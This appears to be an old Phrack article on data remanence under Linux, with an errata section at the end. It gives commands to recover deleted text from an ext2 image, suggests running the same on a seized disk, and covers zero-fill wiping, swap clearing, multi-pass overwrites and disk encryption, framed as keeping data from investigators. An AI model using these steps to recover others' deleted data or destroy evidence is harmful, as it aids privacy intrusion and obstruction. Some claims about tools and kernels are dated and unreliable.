Awhile back I was sitting in IRC, discussing DR under Linux. The standard response that I got was that since ext2 (the Linux filesystem) doesn't operate like FAT, the undelete-type practice can't be done and so we have nothing to worry about. This simply isn't true. Under linux, do the following (you may need root, depending on how you configured your setup): dd if=/dev/zero of=disk.image bs=1024 count=300 mkfs.ext2 disk.image mount disk.image /mnt -o loop cd /mnt We just made a 300k looped filesystem, and mounted it on /mnt. Now CD to /mnt and create a file with some known text in it .. try: ps aux > sensitive.file sync rm sensitive.file Now, we've deleted our sensitive file, but as will be demonstrated, this file has not been cleared. Now umount /mnt and do: strings < disk.image | grep USER You'll see some text from the ps. Now, if your gear got confiscated imagine someone just running this command on /dev/hda1, or whatever. Don't think DoJ wouldn't pay people to weed through all the junk to obtain a few juicy bytes, or run some nice pattern matching software on the strings output to find stuff that looks interesting. Or, maybe you don't want the contents of a file .. maybe you want a passphrase, or the internal state of an RNG or a cipher? Dig around in the swap partition, maybe you'll get lucky. This is an example of what DoD calls a "keyboard attack" in the "green book[1]." It is an attack to exploit the remnant data on a system using a software method. We need a clearing technique here too, and a good way is to zero the actual bits of the file; ext2 will eventually support this internally[2], but for now you can just rm the file and then make a new file of all zeros that fills the entire disk. Lets try that. mount disk.image /mnt -o loop cd /mnt dd if=/dev/zero of=output bs=100k #wait for error sync rm output Now umount the disk.image and run strings on it again. You'll notice that the ps output is gone. You'll also notice that some of the the filename is still there. If the file is under some sub-directory, you can rmdir the directory and use the above method. If the file is at root-level, you're hosed: people can see your filename. Overwriting the file's bits one-for-one with zeros insures that one will not be able to read the data back with the recording device itself; thus software, or "keyboard" attacks are successfully defeated by such software measures. It is a good practice to create a script that checks /proc/meminfo under Linux. If there is enough RAM free to hold any crap floating in swap, then free the swap partition, zero it (or use other techniques, discussed below), make a new swap partition and reattach it. This could be put in a cron job that runs at off-peak hours. There are also programs like "wipe.com" (DOS)[3], and "Burn" (Mac)[4] that wipe the bits of certain files, allowing a more controlled (and thus faster) method of wiping remnant data. I don't know of a way to securely wipe files under Linux other than by filling the disk. The programs that I found that report to do so fail, and I can't think of a reliable way to do it outside of ext2.c. Hardware Methods There is a third type of attack, however, that does not depend on what the device (say, a hard disk) claims is on the media. This type of attack analyzes the media directly; we'll call it a laboratory attack. A laboratory attack is highly theoretical, but we had better talk about it anyway. The first thing we have to remember is that digital media isn't purely digital: we record our bits on an essentially analog medium, which is precisely why we need stuff like MFM (modified frequency modulation) encoding; an actual DC level would erase data, not record it. So, lets talk about disks, and cover some magnetic recording properties real quick. I'm going to be fast and loose with the electronics, I know it is terribly inaccurate; we just need the basic concepts here. In general, magnetic recording is achieved by issuing a magnetic charge onto some ferrous-type material with an electromagnet. To read the data back, the juice to the electromagnet is shut off, and the disk spins by the coil of the magnet, which induces a voltage in the electromagnet, effectively making a small generator. Now, for the sake of accuracy we don't just spit bits out into the magnetic medium, because DC levels don't work with transformers; which is what our read/write head is, basically. So we need to encode it in an analog signal using some modulation technique. For the sake of argument, lets say our disk is using something like frequency shift keying (FSK). In reality, our drives don't do this, but our modems do. I'll use FSK since it is easier to talk about, and easy for newbies to understand. The way we encode our data is to take every digital one and play an analog tone for some time, T, and some other tone for a digital zero, also for some time T. Maybe we encode 0 as 2600 Hz and 1 as 2000 Hz (the Kansas City standard for storing digital info on cassette tape is 0 = 2400 Hz and 1 = 1200 Hz). The reason I'm reducing this to a simplified audio analogy will soon be obvious. If you record over a commercial cassette tape with a shitty tape recorder, where there are periods of silence in your recording you may hear the original commercial tune. This remnant signal is there all the time, not just during silence. What has happened is that the magnetic flux delivered by the read/write head of your tape recorder was not powerful enough to completely change the polarization of the magnetic particles on the tape for the time that the particles were exposed. Those particles act in a predictable way, and if we know their current state, and the signal applied to them the last time, we can recover the previous state. Chock this one up to magnetic hysteresis, it could also be due to the head of the tape recorder not being aligned perfectly. More on this option below. If a particle on a disk has a current polarization strength of A, and we know what sort of flux was applied to the particle (which we can find by examining the read/write head) then we can find the the state of the particle prior to the last write to it, which allows us to reconstruct the data. Real world bit recover would simply require looking at these particles and taking into account the encoding scheme used. The SFS (Secure File System) documentation gives a good description of many different encoding schemes. As I said, this is a theoretical attack. I am not aware of it ever actually having been used to recover data. How can we defeat this attack? By overwriting the data many times. If we overwrite our data many times, the stored charge on the particle gets constantly closer to the upper-end ideal value, which disguises the data "underneath." We can use several applications of random bits, and then several applications of 00h's and FFh's to overwrite the data. The random bits insure that the attacker doesn't find a pattern. The multiple applications of FF expose the particles to the magnetic flux for a longer period of time. Each application gets those particles closer and closer to the ideal representation of FF. The truly paranoid will want to do all of this several times. Some recommend writing zeros after the ones. This is probably pure paranoia, and it might be a good idea. As alluded to above, there is another type of data remanence that can be attacked in the lab due to variance in the position of the read/write head. As the disk spins, the head will float over different portions of the disk each revolution. When a write occurs, it may charge certain particles and on an overwrite it may miss some of those particles, leaving the original information behind for exploitation by the lab. This lets an attacker read further back into the data record than by weeding out signals by cancellation, and is probably easier to perform in some respects. We have no control over this whatsoever in software. To protect against this attack requires either degaussing of the media, or encryption of the entire device from the first moment it is used until the last. Using encryption stamps out all of the above problems in one clean, elegant stroke. Imagine a device that sits in-line between your IDE (or SCSI) adapter and the disk controller of the drive. All attempts by the PC to negotiate with the drive are intercepted by this device, and the data is either encrypted or decrypted as needed and sent along. Thus everything that ever touches the drive: file system formatting, the OS ... everything gets encrypted and stored. The entire operation would be transparent to the host computer, and independent of its processing. The user merely gives a key to this controller at start up: maybe there is a keypad embedded into a 5.25" faceplate that is mounted on the computer's case. Such a hardware solution not only takes care of data remanence issues but also helps to secure the computer as a whole: with the partition table, and OS encrypted, the machine cannot boot without the user having set up the in-line filter with the correct key. Can a well funded adversary pull off a laboratory attack like those discussed here? Probably. So if you're not using some form of encryption, you might want to start thinking about it. For the stuff that no one but you can know about, keep the plaintext on floppies and the ciphertext on your hard drive. Floppies can be destroyed or degaussed easily. Remember to watch your swap partition though; it is probably wise to disengage swap when manipulating sensitive material. Best of all, RAM is cheap. Buy 256M of it and give up swap space completely. Against a sufficiently powerful attacker who has your hard drive, you are in a world of hurt without in-line encryption. Just how powerful "sufficiently powerful" needs to be to actually make this stuff work is open to speculation. Notes: 1. NCSC-TG-025 "A Guide to Understanding Data Remanence in Automated Information Systems" http://www.geekstreet.com/green.html 2. This was all tested with linux kernel version 2.0.35. I do not know if 2.1.* will ever have a newer ext2 or not. Look into the chattr command on your machine, and dig into the kernel source to see if the ext2 code does anything or not. On 2.0.*, it does nothing. 3. From the No-where utilities, get it from your favorite HP filez site. 4. Burn is available from the Info-Mac archives. |0x06|------------------ Phrack 55 Addendum and Errata -----------------------| |-----------------------------------------------------------------------------| P55-14@71: I would like to make the following correction in my article "A GPS Primer" from Phrack 55. The Teledesic project is _not_ a MEO satellite venture, but rather, it uses Low Earth Orbit (LEO) satellites. Thanks to Eric Rachner for pointing this out. [ Thankz to e5 for submitting this correction. ] P55-18: File 18 was erroneously listed as file 17. |EOF|-------------------------------------------------------------------------|